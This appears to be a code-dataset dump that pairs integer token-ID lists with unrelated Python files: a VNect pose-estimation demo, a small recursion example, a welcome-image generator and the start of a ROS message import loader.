1024,
29922,
7184,
2214,
29918,
978,
29897,
13,
13,
4706,
396,
3185,
13,
4706,
1583,
29889,
9772,
29918,
15070,
29898,
20387,
29931,
29918,
17080,
29963,
29918,
2287,
7982,
29892,
1583,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
4706,
4206,
353,
1583,
29889,
1359,
29918,
7638,
580,
13,
13,
4706,
396,
16499,
13,
4706,
4974,
7431,
29898,
5727,
29897,
1275,
29871,
29941,
13,
13,
4706,
16280,
353,
426,
29916,
3366,
978,
3108,
29901,
921,
363,
921,
297,
4206,
29913,
13,
4706,
4974,
313,
13,
9651,
16280,
29961,
3018,
311,
29918,
978,
29962,
3366,
978,
3108,
1275,
11302,
29918,
978,
13,
9651,
322,
16280,
29961,
3018,
311,
29918,
978,
29962,
3366,
5269,
29918,
7247,
29918,
29900,
3108,
1275,
11302,
29918,
3129,
713,
13,
4706,
1723,
13,
4706,
4974,
313,
13,
9651,
16280,
29961,
7184,
2214,
29918,
978,
29962,
3366,
978,
3108,
1275,
298,
29885,
2214,
29918,
978,
13,
9651,
322,
16280,
29961,
7184,
2214,
29918,
978,
29962,
3366,
5269,
29918,
7247,
29918,
29900,
3108,
1275,
298,
29885,
2214,
29918,
7247,
13,
4706,
1723,
13,
13,
1678,
822,
1243,
29918,
15070,
29918,
10149,
29879,
29918,
1272,
29918,
9910,
29918,
7247,
29898,
1311,
1125,
13,
4706,
396,
826,
3881,
13,
4706,
11302,
29918,
3129,
5834,
353,
376,
29881,
359,
562,
29889,
13513,
29889,
2679,
613,
376,
7054,
468,
434,
29889,
29881,
359,
562,
29889,
13513,
29889,
2679,
29908,
13,
4706,
11302,
29918,
978,
353,
376,
29928,
3267,
2477,
29908,
13,
4706,
402,
586,
8498,
442,
358,
5126,
29898,
5269,
29918,
3129,
2708,
29922,
3018,
311,
29918,
3129,
5834,
29892,
1024,
29922,
3018,
311,
29918,
978,
29897,
13,
13,
4706,
396,
3185,
13,
4706,
1583,
29889,
9772,
29918,
15070,
29898,
20387,
29931,
29918,
17080,
29963,
29918,
2287,
7982,
29892,
1583,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
4706,
4206,
353,
1583,
29889,
1359,
29918,
7638,
580,
13,
13,
4706,
396,
16499,
13,
4706,
4974,
7431,
29898,
5727,
29897,
1275,
29871,
29906,
13,
4706,
4974,
599,
29898,
29895,
297,
4206,
29961,
29900,
29962,
363,
413,
297,
4852,
5269,
29918,
7247,
29918,
29900,
613,
376,
5269,
29918,
7247,
29918,
29896,
5783,
13,
13,
1678,
822,
1243,
29918,
15070,
29918,
10149,
29879,
29918,
1217,
29918,
1272,
29898,
1311,
1125,
13,
4706,
396,
826,
3881,
13,
4706,
15303,
29889,
9794,
29889,
29954,
586,
8498,
442,
358,
29889,
12650,
29889,
497,
2141,
8143,
580,
13,
4706,
396,
3185,
13,
4706,
1583,
29889,
9772,
29918,
15070,
29898,
20387,
29931,
29918,
17080,
29963,
29918,
2287,
7982,
29892,
1583,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
13,
4706,
396,
16499,
13,
4706,
4974,
2897,
29889,
2084,
29889,
9933,
29898,
1311,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
4706,
4974,
2897,
29889,
6112,
29898,
1311,
29889,
1272,
29918,
1445,
29889,
978,
467,
303,
29918,
2311,
1275,
29871,
29900,
13,
13,
1678,
822,
1243,
29918,
15070,
29918,
1557,
29918,
1272,
29898,
1311,
1125,
13,
4706,
396,
826,
3881,
13,
4706,
9179,
368,
14688,
5126,
580,
13,
13,
4706,
396,
3185,
13,
4706,
1583,
29889,
9772,
29918,
15070,
29898,
20387,
29931,
29918,
29903,
4897,
7390,
29979,
29918,
3210,
29909,
1177,
29892,
1583,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
4706,
4206,
353,
1583,
29889,
1359,
29918,
7638,
580,
13,
13,
4706,
396,
16499,
13,
4706,
4974,
7431,
29898,
5727,
29897,
1275,
29871,
29896,
13,
4706,
4974,
337,
29889,
4352,
29898,
29888,
29908,
7566,
9162,
4206,
29961,
29900,
29962,
3366,
978,
20068,
13,
13,
1678,
822,
1243,
29918,
15070,
29918,
1557,
29918,
1272,
29918,
20787,
29898,
1311,
1125,
13,
4706,
396,
826,
3881,
13,
4706,
9179,
368,
14688,
5126,
29889,
3258,
29918,
16175,
29898,
29945,
29897,
13,
13,
4706,
396,
3185,
13,
4706,
1583,
29889,
9772,
29918,
15070,
29898,
20387,
29931,
29918,
29903,
4897,
7390,
29979,
29918,
3210,
29909,
1177,
29892,
1583,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
4706,
4206,
353,
1583,
29889,
1359,
29918,
7638,
580,
13,
13,
4706,
396,
16499,
13,
4706,
4974,
7431,
29898,
5727,
29897,
1275,
29871,
29945,
13,
13,
4706,
2983,
353,
518,
29916,
3366,
978,
3108,
363,
921,
297,
4206,
29962,
13,
4706,
4974,
599,
4197,
29916,
29889,
27382,
2541,
703,
7566,
16521,
363,
921,
297,
2983,
2314,
13,
13,
4706,
18999,
353,
518,
29916,
3366,
333,
3108,
363,
921,
297,
4206,
29962,
13,
4706,
4974,
7431,
29898,
4841,
29897,
1275,
7431,
29898,
842,
29898,
4841,
876,
13,
13,
1678,
822,
1243,
29918,
15070,
29918,
4977,
29918,
1272,
29898,
1311,
1125,
13,
4706,
396,
826,
3881,
13,
4706,
885,
353,
9179,
368,
14688,
5126,
580,
13,
4706,
3767,
1845,
293,
4276,
5126,
29898,
19303,
368,
29918,
14153,
29922,
1557,
29897,
13,
13,
4706,
396,
3185,
13,
4706,
1583,
29889,
9772,
29918,
15070,
29898,
20387,
29931,
29918,
10810,
1299,
29918,
24705,
29892,
1583,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
4706,
4206,
353,
1583,
29889,
1359,
29918,
7638,
580,
13,
13,
4706,
396,
16499,
13,
4706,
4974,
7431,
29898,
5727,
29897,
1275,
29871,
29896,
13,
4706,
4974,
337,
29889,
4352,
29898,
29888,
29908,
5015,
1845,
293,
3158,
9162,
4206,
29961,
29900,
29962,
3366,
978,
20068,
13,
4706,
4974,
4206,
29961,
29900,
29962,
3366,
19303,
368,
29918,
14153,
3108,
1275,
851,
29898,
1557,
29889,
333,
29897,
13,
13,
1678,
822,
1243,
29918,
15070,
29918,
4977,
29918,
1272,
29918,
20787,
29898,
1311,
1125,
13,
4706,
396,
826,
3881,
13,
4706,
1518,
29918,
1557,
29918,
4841,
353,
1051,
580,
13,
4706,
363,
903,
297,
3464,
29898,
29946,
1125,
13,
9651,
885,
353,
9179,
368,
14688,
5126,
580,
13,
9651,
3767,
1845,
293,
4276,
5126,
29898,
19303,
368,
29918,
14153,
29922,
1557,
29897,
13,
9651,
1518,
29918,
1557,
29918,
4841,
29889,
4397,
29898,
710,
29898,
1557,
29889,
333,
876,
13,
13,
4706,
396,
3185,
13,
4706,
1583,
29889,
9772,
29918,
15070,
29898,
20387,
29931,
29918,
10810,
1299,
29918,
24705,
29892,
1583,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
4706,
4206,
353,
1583,
29889,
1359,
29918,
7638,
580,
13,
13,
4706,
396,
16499,
13,
4706,
4974,
7431,
29898,
5727,
29897,
1275,
29871,
29946,
13,
13,
4706,
18999,
353,
518,
29916,
3366,
333,
3108,
363,
921,
297,
4206,
29962,
13,
4706,
4974,
7431,
29898,
4841,
29897,
1275,
7431,
29898,
842,
29898,
4841,
876,
13,
13,
4706,
885,
29918,
4841,
353,
518,
29916,
3366,
19303,
368,
29918,
14153,
3108,
363,
921,
297,
4206,
29962,
13,
4706,
4974,
599,
4197,
29874,
1275,
289,
363,
263,
29892,
289,
297,
14319,
29898,
24582,
29898,
1557,
29918,
4841,
511,
12705,
29898,
4548,
29918,
1557,
29918,
4841,
876,
2314,
13,
13,
4706,
2983,
353,
518,
29916,
3366,
978,
3108,
363,
921,
297,
4206,
29962,
13,
4706,
4974,
599,
4197,
29916,
29889,
27382,
2541,
703,
5015,
1845,
293,
3158,
16521,
363,
921,
297,
2983,
2314,
13,
13,
1678,
822,
1243,
29918,
15070,
29918,
29879,
585,
29918,
1272,
29898,
1311,
1125,
13,
4706,
396,
826,
3881,
13,
4706,
885,
353,
9179,
368,
14688,
5126,
580,
13,
4706,
872,
353,
3767,
1845,
293,
4276,
5126,
29898,
19303,
368,
29918,
14153,
29922,
1557,
29897,
13,
4706,
3767,
1845,
293,
4276,
6422,
5126,
29898,
19303,
368,
29918,
14153,
29922,
1557,
29892,
16650,
293,
29918,
2467,
29922,
4977,
29897,
13,
13,
4706,
396,
3185,
13,
4706,
1583,
29889,
9772,
29918,
15070,
29898,
20387,
29931,
29918,
10810,
1299,
29918,
24705,
29918,
14474,
29892,
1583,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
4706,
4206,
353,
1583,
29889,
1359,
29918,
7638,
580,
13,
13,
4706,
396,
16499,
13,
4706,
4974,
7431,
29898,
5727,
29897,
1275,
29871,
29896,
13,
4706,
4974,
4206,
29961,
29900,
29962,
3366,
19303,
368,
29918,
14153,
3108,
1275,
851,
29898,
1557,
29889,
333,
29897,
13,
4706,
4974,
4206,
29961,
29900,
29962,
3366,
710,
1845,
293,
29918,
2467,
3108,
1275,
851,
29898,
4977,
29889,
333,
29897,
13,
13,
1678,
822,
1243,
29918,
15070,
29918,
29879,
585,
29918,
1272,
29918,
20787,
29898,
1311,
1125,
13,
4706,
396,
826,
3881,
13,
4706,
1518,
29918,
1557,
29918,
4841,
353,
1051,
580,
13,
4706,
1518,
29918,
4977,
29918,
4841,
353,
1051,
580,
13,
4706,
363,
903,
297,
3464,
29898,
29946,
1125,
13,
9651,
885,
353,
9179,
368,
14688,
5126,
580,
13,
9651,
872,
353,
3767,
1845,
293,
4276,
5126,
29898,
19303,
368,
29918,
14153,
29922,
1557,
29897,
13,
9651,
3767,
1845,
293,
4276,
6422,
5126,
29898,
19303,
368,
29918,
14153,
29922,
1557,
29892,
16650,
293,
29918,
2467,
29922,
4977,
29897,
13,
9651,
1518,
29918,
1557,
29918,
4841,
29889,
4397,
29898,
710,
29898,
1557,
29889,
333,
876,
13,
9651,
1518,
29918,
4977,
29918,
4841,
29889,
4397,
29898,
710,
29898,
4977,
29889,
333,
876,
13,
13,
4706,
396,
3185,
13,
4706,
1583,
29889,
9772,
29918,
15070,
29898,
20387,
29931,
29918,
10810,
1299,
29918,
24705,
29918,
14474,
29892,
1583,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
4706,
4206,
353,
1583,
29889,
1359,
29918,
7638,
580,
13,
13,
4706,
396,
16499,
13,
4706,
4974,
7431,
29898,
5727,
29897,
1275,
29871,
29946,
13,
13,
4706,
18999,
353,
518,
29916,
3366,
333,
3108,
363,
921,
297,
4206,
29962,
13,
4706,
4974,
7431,
29898,
4841,
29897,
1275,
7431,
29898,
842,
29898,
4841,
876,
13,
13,
4706,
885,
29918,
4841,
353,
518,
29916,
3366,
19303,
368,
29918,
14153,
3108,
363,
921,
297,
4206,
29962,
13,
4706,
4974,
599,
4197,
29874,
1275,
289,
363,
263,
29892,
289,
297,
14319,
29898,
24582,
29898,
1557,
29918,
4841,
511,
12705,
29898,
4548,
29918,
1557,
29918,
4841,
876,
2314,
13,
13,
4706,
872,
29918,
4841,
353,
518,
29916,
3366,
710,
1845,
293,
29918,
2467,
3108,
363,
921,
297,
4206,
29962,
13,
4706,
4974,
599,
4197,
29874,
1275,
289,
363,
263,
29892,
289,
297,
14319,
29898,
24582,
29898,
4977,
29918,
4841,
511,
12705,
29898,
4548,
29918,
4977,
29918,
4841,
876,
2314,
13,
13,
1678,
822,
1243,
29918,
15070,
29918,
11569,
29918,
4299,
29898,
1311,
1125,
13,
4706,
396,
826,
3881,
13,
4706,
2437,
29918,
4299,
353,
376,
12199,
3186,
29908,
13,
13,
4706,
396,
3185,
13,
4706,
396,
16499,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
6255,
2392,
29892,
1993,
29922,
29888,
29908,
14148,
1904,
426,
11569,
29918,
4299,
5038,
1125,
13,
9651,
1583,
29889,
9772,
29918,
15070,
29898,
11569,
29918,
4299,
29892,
1583,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
2
] |
run_pic.py | sven-mayer/VNect | 1 | 84404 | #!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import cv2
import numpy as np
import tensorflow as tf
from src import utils
box_size = 368
hm_factor = 8
joints_num = 21
scales = [1.0, 0.7]
limb_parents = [1, 15, 1, 2, 3, 1, 5, 6, 14, 8, 9, 14, 11, 12, 14, 14, 1, 4, 7, 10, 13]
with tf.Session() as sess:
saver = tf.train.import_meta_graph('./models/tf_model/vnect_tf.meta')
saver.restore(sess, tf.train.latest_checkpoint('./models/tf_model/'))
# saver = tf.train.import_meta_graph('./models/trained/vnect_tf-1.meta')
# saver.restore(sess, tf.train.latest_checkpoint('./models/trained/'))
graph = tf.get_default_graph()
input_batch = graph.get_tensor_by_name('Placeholder:0')
heatmap = graph.get_tensor_by_name('split_2:0')
x_heatmap = graph.get_tensor_by_name('split_2:1')
y_heatmap = graph.get_tensor_by_name('split_2:2')
z_heatmap = graph.get_tensor_by_name('split_2:3')
# from src.vnect_model import VNect
# model = VNect()
# input_batch = model.input_holder
# heatmap = model.heatmap
# x_heatmap, y_heatmap, z_heatmap = model.x_heatmap, model.y_heatmap, model.z_heatmap
# sess.run(tf.global_variables_initializer())
img = cv2.imread('./pic/test_pic.jpg')
img_square = utils.img_scale_squarify(img, box_size)
img_square = img_square[np.newaxis, ...]
hm, xm, ym, zm = sess.run([heatmap, x_heatmap, y_heatmap, z_heatmap], {input_batch: img_square/255-0.4})
joints_2d = utils.extract_2d_joints_from_heatmaps(hm[0, ...], box_size, hm_factor)
for i in range(21):
if i == 0:
himg = hm[0, :, :, i]
ximg = xm[0, :, :, i]
yimg = ym[0, :, :, i]
zimg = zm[0, :, :, i]
else:
tmp = hm[0, :, :, i]
himg = np.hstack([himg, tmp])
tmp = xm[0, :, :, i]
ximg = np.hstack([ximg, tmp])
tmp = ym[0, :, :, i]
yimg = np.hstack([yimg, tmp])
tmp = zm[0, :, :, i]
zimg = np.hstack([zimg, tmp])
all_hm = np.vstack([himg, ximg, yimg, zimg])
cv2.imshow('all heatmaps', all_hm*128)
img_res2d = utils.draw_limbs_2d(img_square[0, ...], joints_2d, limb_parents)
cv2.imshow('2D results', img_res2d)
cv2.waitKey()
cv2.destroyAllWindows()
print(hm[0, :, :, 0])
# np.savetxt('original', hm[0, :, :, 0]) | [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
448,
29930,
29899,
14137,
29901,
18351,
29899,
29947,
448,
29930,
29899,
13,
13,
13,
5215,
13850,
29906,
13,
5215,
12655,
408,
7442,
13,
5215,
26110,
408,
15886,
13,
3166,
4765,
1053,
3667,
29879,
13,
13,
13,
1884,
29918,
2311,
353,
29871,
29941,
29953,
29947,
13,
7184,
29918,
19790,
353,
29871,
29947,
13,
2212,
9466,
29918,
1949,
353,
29871,
29906,
29896,
13,
19529,
267,
353,
518,
29896,
29889,
29900,
29892,
29871,
29900,
29889,
29955,
29962,
13,
2576,
29890,
29918,
862,
1237,
353,
518,
29896,
29892,
29871,
29896,
29945,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29896,
29946,
29892,
29871,
29947,
29892,
29871,
29929,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29892,
29871,
29946,
29892,
29871,
29955,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29941,
29962,
13,
13,
2541,
15886,
29889,
7317,
580,
408,
27937,
29901,
13,
1678,
872,
369,
353,
15886,
29889,
14968,
29889,
5215,
29918,
7299,
29918,
4262,
877,
6904,
9794,
29914,
13264,
29918,
4299,
29914,
29894,
4793,
29918,
13264,
29889,
7299,
1495,
13,
1678,
872,
369,
29889,
5060,
487,
29898,
29879,
404,
29892,
15886,
29889,
14968,
29889,
12333,
29918,
3198,
3149,
877,
6904,
9794,
29914,
13264,
29918,
4299,
29914,
8785,
13,
1678,
396,
872,
369,
353,
15886,
29889,
14968,
29889,
5215,
29918,
7299,
29918,
4262,
877,
6904,
9794,
29914,
3018,
1312,
29914,
29894,
4793,
29918,
13264,
29899,
29896,
29889,
7299,
1495,
13,
1678,
396,
872,
369,
29889,
5060,
487,
29898,
29879,
404,
29892,
15886,
29889,
14968,
29889,
12333,
29918,
3198,
3149,
877,
6904,
9794,
29914,
3018,
1312,
29914,
8785,
13,
13,
1678,
3983,
353,
15886,
29889,
657,
29918,
4381,
29918,
4262,
580,
13,
1678,
1881,
29918,
16175,
353,
3983,
29889,
657,
29918,
20158,
29918,
1609,
29918,
978,
877,
22150,
7694,
29901,
29900,
1495,
13,
1678,
12871,
1958,
353,
3983,
29889,
657,
29918,
20158,
29918,
1609,
29918,
978,
877,
5451,
29918,
29906,
29901,
29900,
1495,
13,
1678,
921,
29918,
354,
271,
1958,
353,
3983,
29889,
657,
29918,
20158,
29918,
1609,
29918,
978,
877,
5451,
29918,
29906,
29901,
29896,
1495,
13,
1678,
343,
29918,
354,
271,
1958,
353,
3983,
29889,
657,
29918,
20158,
29918,
1609,
29918,
978,
877,
5451,
29918,
29906,
29901,
29906,
1495,
13,
1678,
503,
29918,
354,
271,
1958,
353,
3983,
29889,
657,
29918,
20158,
29918,
1609,
29918,
978,
877,
5451,
29918,
29906,
29901,
29941,
1495,
13,
13,
13,
1678,
396,
515,
4765,
29889,
29894,
4793,
29918,
4299,
1053,
478,
29940,
522,
13,
1678,
396,
1904,
353,
478,
29940,
522,
580,
13,
1678,
396,
1881,
29918,
16175,
353,
1904,
29889,
2080,
29918,
7694,
13,
1678,
396,
12871,
1958,
353,
1904,
29889,
354,
271,
1958,
13,
1678,
396,
921,
29918,
354,
271,
1958,
29892,
343,
29918,
354,
271,
1958,
29892,
503,
29918,
354,
271,
1958,
353,
1904,
29889,
29916,
29918,
354,
271,
1958,
29892,
1904,
29889,
29891,
29918,
354,
271,
1958,
29892,
1904,
29889,
29920,
29918,
354,
271,
1958,
13,
1678,
396,
27937,
29889,
3389,
29898,
13264,
29889,
10945,
29918,
20897,
29918,
11228,
3950,
3101,
13,
13,
1678,
10153,
353,
13850,
29906,
29889,
326,
949,
877,
6904,
16447,
29914,
1688,
29918,
16447,
29889,
6173,
1495,
13,
1678,
10153,
29918,
17619,
353,
3667,
29879,
29889,
2492,
29918,
7052,
29918,
26613,
279,
1598,
29898,
2492,
29892,
3800,
29918,
2311,
29897,
13,
1678,
10153,
29918,
17619,
353,
10153,
29918,
17619,
29961,
9302,
29889,
1482,
8990,
29892,
2023,
29962,
13,
13,
1678,
298,
29885,
29892,
921,
29885,
29892,
343,
29885,
29892,
12162,
353,
27937,
29889,
3389,
4197,
354,
271,
1958,
29892,
921,
29918,
354,
271,
1958,
29892,
343,
29918,
354,
271,
1958,
29892,
503,
29918,
354,
271,
1958,
1402,
426,
2080,
29918,
16175,
29901,
10153,
29918,
17619,
29914,
29906,
29945,
29945,
29899,
29900,
29889,
29946,
1800,
13,
13,
1678,
14002,
29879,
29918,
29906,
29881,
353,
3667,
29879,
29889,
21111,
29918,
29906,
29881,
29918,
2212,
9466,
29918,
3166,
29918,
354,
271,
10339,
29898,
7184,
29961,
29900,
29892,
2023,
1402,
3800,
29918,
2311,
29892,
298,
29885,
29918,
19790,
29897,
13,
13,
1678,
363,
474,
297,
3464,
29898,
29906,
29896,
1125,
13,
4706,
565,
474,
1275,
29871,
29900,
29901,
13,
9651,
1075,
29887,
353,
298,
29885,
29961,
29900,
29892,
584,
29892,
584,
29892,
474,
29962,
13,
9651,
921,
2492,
353,
921,
29885,
29961,
29900,
29892,
584,
29892,
584,
29892,
474,
29962,
13,
9651,
343,
2492,
353,
343,
29885,
29961,
29900,
29892,
584,
29892,
584,
29892,
474,
29962,
13,
9651,
503,
2492,
353,
12162,
29961,
29900,
29892,
584,
29892,
584,
29892,
474,
29962,
13,
4706,
1683,
29901,
13,
9651,
13128,
353,
298,
29885,
29961,
29900,
29892,
584,
29892,
584,
29892,
474,
29962,
13,
9651,
1075,
29887,
353,
7442,
29889,
29882,
1429,
4197,
29882,
2492,
29892,
13128,
2314,
13,
9651,
13128,
353,
921,
29885,
29961,
29900,
29892,
584,
29892,
584,
29892,
474,
29962,
13,
9651,
921,
2492,
353,
7442,
29889,
29882,
1429,
4197,
29916,
2492,
29892,
13128,
2314,
13,
9651,
13128,
353,
343,
29885,
29961,
29900,
29892,
584,
29892,
584,
29892,
474,
29962,
13,
9651,
343,
2492,
353,
7442,
29889,
29882,
1429,
4197,
29891,
2492,
29892,
13128,
2314,
13,
9651,
13128,
353,
12162,
29961,
29900,
29892,
584,
29892,
584,
29892,
474,
29962,
13,
9651,
503,
2492,
353,
7442,
29889,
29882,
1429,
4197,
29920,
2492,
29892,
13128,
2314,
13,
13,
1678,
599,
29918,
7184,
353,
7442,
29889,
29894,
1429,
4197,
29882,
2492,
29892,
921,
2492,
29892,
343,
2492,
29892,
503,
2492,
2314,
13,
1678,
13850,
29906,
29889,
326,
4294,
877,
497,
12871,
10339,
742,
599,
29918,
7184,
29930,
29896,
29906,
29947,
29897,
13,
13,
1678,
10153,
29918,
690,
29906,
29881,
353,
3667,
29879,
29889,
4012,
29918,
2576,
5824,
29918,
29906,
29881,
29898,
2492,
29918,
17619,
29961,
29900,
29892,
2023,
1402,
14002,
29879,
29918,
29906,
29881,
29892,
2485,
29890,
29918,
862,
1237,
29897,
13,
1678,
13850,
29906,
29889,
326,
4294,
877,
29906,
29928,
2582,
742,
10153,
29918,
690,
29906,
29881,
29897,
13,
13,
1678,
13850,
29906,
29889,
10685,
2558,
580,
13,
1678,
13850,
29906,
29889,
20524,
3596,
7685,
580,
13,
13,
2158,
29898,
7184,
29961,
29900,
29892,
584,
29892,
584,
29892,
29871,
29900,
2314,
13,
29937,
7442,
29889,
29879,
485,
300,
486,
877,
13492,
742,
298,
29885,
29961,
29900,
29892,
584,
29892,
584,
29892,
29871,
29900,
2314,
2
] |
contohRekursif.py | muhiqsimui/PyTraining | 6 | 182278 | #rekursif adalah fungsi yg memanggil dirinya sendiri ok sip
def cetak(x):
print(x)
if x>1:
cetak(x-1)
elif x<1:
cetak(x+1)
cetak(5)
| [
1,
396,
22218,
1295,
361,
594,
284,
801,
26933,
1039,
343,
29887,
2626,
574,
29887,
309,
4516,
262,
3761,
3638,
12737,
3431,
269,
666,
13,
1753,
15093,
557,
29898,
29916,
1125,
13,
29871,
1596,
29898,
29916,
29897,
13,
29871,
565,
921,
29958,
29896,
29901,
13,
1678,
15093,
557,
29898,
29916,
29899,
29896,
29897,
13,
29871,
25342,
921,
29966,
29896,
29901,
13,
1678,
15093,
557,
29898,
29916,
29974,
29896,
29897,
13,
13,
29883,
300,
557,
29898,
29945,
29897,
13,
2
] |
gen/welcome.py | seen-idc/image-gen | 0 | 173736 | <reponame>seen-idc/image-gen<gh_stars>0
from io import BytesIO
from PIL import Image, ImageDraw, ImageFont
from utils import get_image
from utils.masks import circle_mask
circlemask = circle_mask((256, 256))
font = ImageFont.truetype('./NunitoSans-Regular.ttf', 56)
outline_color = "#2af54f"
avatar_pos_x = 352
avatar_pos_y = 72
def generate_welcome(name, tag, avatar):
image = Image.new('RGBA', (960, 540), (0, 0, 0, 0))
print(name,tag)
pfp = get_image(avatar).resize((256, 256)).convert('RGBA')
draw = ImageDraw.Draw(image)
draw.rounded_rectangle((0, 0 , 960, 540), 60, (3, 7, 15))
image.paste(pfp, (avatar_pos_x , avatar_pos_y), circlemask)
draw.ellipse((avatar_pos_x, avatar_pos_y, avatar_pos_x + 256, avatar_pos_y + 256), outline=outline_color, width=8)
draw.textsize(f'{name}#{tag}', font)
size = draw.textsize(f'Welcome\n{name}#{tag}', font=font)
draw.text((960 / 2 - size[0] / 2, 72 + 256 - size[1] + 130), f'Welcome\n{name}#{tag}', font=font, align='center')
b = BytesIO()
image.save(b, format='png')
b.seek(0)
return b | [
1,
529,
276,
1112,
420,
29958,
28026,
29899,
333,
29883,
29914,
3027,
29899,
1885,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
12013,
1053,
2648,
2167,
5971,
13,
3166,
349,
6227,
1053,
7084,
29892,
7084,
8537,
29892,
7084,
9824,
13,
3166,
3667,
29879,
1053,
679,
29918,
3027,
13,
3166,
3667,
29879,
29889,
13168,
29879,
1053,
8607,
29918,
13168,
13,
13,
6034,
2409,
1278,
353,
8607,
29918,
13168,
3552,
29906,
29945,
29953,
29892,
29871,
29906,
29945,
29953,
876,
13,
5657,
353,
7084,
9824,
29889,
509,
14484,
668,
877,
6904,
29940,
348,
2049,
29903,
550,
29899,
4597,
1070,
29889,
698,
29888,
742,
29871,
29945,
29953,
29897,
13,
13,
13,
449,
1220,
29918,
2780,
353,
12305,
29906,
2142,
29945,
29946,
29888,
29908,
13,
485,
14873,
29918,
1066,
29918,
29916,
353,
29871,
29941,
29945,
29906,
13,
485,
14873,
29918,
1066,
29918,
29891,
353,
29871,
29955,
29906,
13,
13,
1753,
5706,
29918,
20466,
2763,
29898,
978,
29892,
4055,
29892,
1029,
14873,
1125,
13,
1678,
1967,
353,
7084,
29889,
1482,
877,
29934,
29954,
5688,
742,
313,
29929,
29953,
29900,
29892,
29871,
29945,
29946,
29900,
511,
313,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
876,
13,
1678,
1596,
29898,
978,
29892,
4039,
29897,
13,
13,
1678,
282,
18091,
353,
679,
29918,
3027,
29898,
485,
14873,
467,
21476,
3552,
29906,
29945,
29953,
29892,
29871,
29906,
29945,
29953,
8106,
13441,
877,
29934,
29954,
5688,
1495,
13,
13,
1678,
4216,
353,
7084,
8537,
29889,
8537,
29898,
3027,
29897,
13,
1678,
4216,
29889,
29878,
7261,
29918,
1621,
2521,
3552,
29900,
29892,
29871,
29900,
1919,
29871,
29929,
29953,
29900,
29892,
29871,
29945,
29946,
29900,
511,
29871,
29953,
29900,
29892,
313,
29941,
29892,
29871,
29955,
29892,
29871,
29896,
29945,
876,
13,
268,
13,
1678,
1967,
29889,
16179,
29898,
7810,
29886,
29892,
313,
485,
14873,
29918,
1066,
29918,
29916,
1919,
1029,
14873,
29918,
1066,
29918,
29891,
511,
3449,
2409,
1278,
29897,
13,
268,
13,
1678,
4216,
29889,
295,
5843,
3552,
485,
14873,
29918,
1066,
29918,
29916,
29892,
1029,
14873,
29918,
1066,
29918,
29891,
29892,
1029,
14873,
29918,
1066,
29918,
29916,
718,
29871,
29906,
29945,
29953,
29892,
1029,
14873,
29918,
1066,
29918,
29891,
718,
29871,
29906,
29945,
29953,
511,
27887,
29922,
449,
1220,
29918,
2780,
29892,
2920,
29922,
29947,
29897,
13,
1678,
4216,
29889,
726,
2311,
29898,
29888,
29915,
29912,
978,
29913,
26660,
4039,
29913,
742,
4079,
29897,
13,
1678,
2159,
353,
4216,
29889,
726,
2311,
29898,
29888,
29915,
28862,
2763,
29905,
29876,
29912,
978,
29913,
26660,
4039,
29913,
742,
4079,
29922,
5657,
29897,
13,
1678,
4216,
29889,
726,
3552,
29929,
29953,
29900,
847,
29871,
29906,
448,
2159,
29961,
29900,
29962,
847,
29871,
29906,
29892,
29871,
29955,
29906,
718,
29871,
29906,
29945,
29953,
448,
2159,
29961,
29896,
29962,
718,
29871,
29896,
29941,
29900,
511,
285,
29915,
28862,
2763,
29905,
29876,
29912,
978,
29913,
26660,
4039,
29913,
742,
4079,
29922,
5657,
29892,
7595,
2433,
5064,
1495,
13,
13,
1678,
289,
353,
2648,
2167,
5971,
580,
13,
1678,
1967,
29889,
7620,
29898,
29890,
29892,
3402,
2433,
2732,
1495,
13,
1678,
289,
29889,
344,
1416,
29898,
29900,
29897,
13,
13,
1678,
736,
289,
2
] |
rosimport/_rosdef_loader.py | asmodehn/rosimport | 5 | 1361 | <filename>rosimport/_rosdef_loader.py
from __future__ import absolute_import, division, print_function
import contextlib
import importlib
import site
import tempfile
import shutil
from rosimport import genrosmsg_py, genrossrv_py
"""
A module to setup custom importer for .msg and .srv files
Upon import, it will first find the .msg file, then generate the python module for it, then load it.
TODO...
"""
# We need to be extra careful with python versions
# Ref : https://docs.python.org/dev/library/importlib.html#importlib.import_module
# Ref : http://stackoverflow.com/questions/67631/how-to-import-a-module-given-the-full-path
# Note : Couldn't find a way to make imp.load_source deal with packages or relative imports (necessary for our generated message classes)
import os
import sys
import logging
# Class to allow dynamic search of packages
class RosSearchPath(dict):
"""
Class to allow dynamic search of packages.
This is where we hook up into python import mechanism in order to generate and discover
packages and messages we are depending on.
But it should not be used during the generation of multiple messages in only one package,
as this is too tricky to get right, and too easy to break by mistake.
"""
def __init__(self, **ros_package_paths):
# we use the default ROS_PACKAGE_PATH if already setup in environment.
# This allows us to find message definitions in a ROS distro (and collaborate with pyros_setup)
package_paths = {}
for distropath in [d for d in os.environ.get('ROS_PACKAGE_PATH', '').split(':') if os.path.exists(d)]:
for p in [pkgd for pkgd in os.listdir(distropath) if os.path.exists(os.path.join(distropath, pkgd, 'msg'))]:
package_paths[p] = package_paths.get(p, set()) | {os.path.join(distropath, p, 'msg')}
# we add any extra path
package_paths.update(ros_package_paths)
super(RosSearchPath, self).__init__(package_paths)
def try_import(self, item):
try:
# we need to import the .msg submodule (only one usable as dependency)
mod = importlib.import_module(item + '.msg')
# import succeeded : we should get the namespace path
